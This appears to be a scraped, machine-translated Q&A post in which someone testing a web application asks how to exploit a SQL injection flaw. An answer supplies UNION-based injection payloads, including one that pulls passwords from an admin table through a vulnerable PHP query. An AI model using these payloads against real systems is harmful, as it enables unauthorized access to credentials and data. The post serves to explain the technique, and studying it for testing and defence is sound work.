覆盖WHERE子句中的列值?

Cyr*_* N. 0 mysql sql security

我想知道是否有可能覆盖SQL查询的Where子句中的列值(在我的情况下是MySQL).

更清楚,这是一个例子:

假设一个基本查询是:

SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";
Run Code Online (Sandbox Code Playgroud)

是否可以强制lastnamefirstname从其他表返回值,只需修改WHERE部分之后的内容即可?就像是

SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);
Run Code Online (Sandbox Code Playgroud)

我目前正在测试一个Web应用程序,我发现了一个SQL注入缺陷,我可以将其更改Doe为我想要的任何内容,但我只限制了一个查询(PHP的mysql_query限制)和addslashes(因此没有"和").

vlu*_*ham 5

可能是

SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --
Run Code Online (Sandbox Code Playgroud)

其中{0}不存在的值和来自其他表的{1}数据

来自wiki示例的更新

$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");
Run Code Online (Sandbox Code Playgroud)

成为

SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
Run Code Online (Sandbox Code Playgroud)